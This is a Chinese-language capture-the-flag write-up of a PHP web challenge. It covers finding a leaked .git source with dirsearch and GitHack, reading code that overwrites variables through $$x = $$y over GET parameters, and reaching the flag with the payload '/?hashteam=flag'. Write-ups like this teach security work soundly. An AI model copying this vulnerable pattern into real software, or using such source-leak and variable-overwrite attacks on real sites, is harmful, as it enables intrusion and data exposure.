web3_Mark loves cat
key:源码泄露+php变量覆盖
①这道题改编自BJD2020的同名赛题,网页打开后是这样的👇
表面上就是一个个人简历网站,里面都是关于主人公Mark Stev的介绍......
前端源代码也没有任何问题,页面底下的表单框也不存在SQL或者XSS漏洞......
裂开了,毫无头绪......
②无奈只能掏出扫描器扫描发现有源码泄露
关于扫描器,dirsearch、御剑、dirb都行
再用GitHack获取源码文件
③得到的源码文件如下👇
<?php
include 'flag.php';
$hashteam = "dog";
$is = "cat";
$handsome = 'hashteam';
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($hashteam);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
注意这段代码👇
//漏洞点
foreach($_GET as $x => $y){//相当于GET传参
$$x = $$y;//如果GET传参hashteam=flag,就相当于$hashteam=$flag
}
如果GET传参hashteam=flag,就相当于$hashteam=$flag,$hashteam就是$flag了
下面正好有输出$hashteam的if语句👇
if(!isset($_GET['flag']) && !isset($_POST['flag'])){//检测POST是否为flag或者get是否为flag
exit($hashteam);//退出程序并输出$hashteam的数值
}
只要想办法满足这条if语句就行,满足条件也很简单,只要GET和POST都没传参$flag变量就行了
④经过代码分析,给出payload👇
/?hashteam=flag
在源代码中找到flag👇
参考博客:https://blog.csdn.net/qq_43801002/article/details/105991295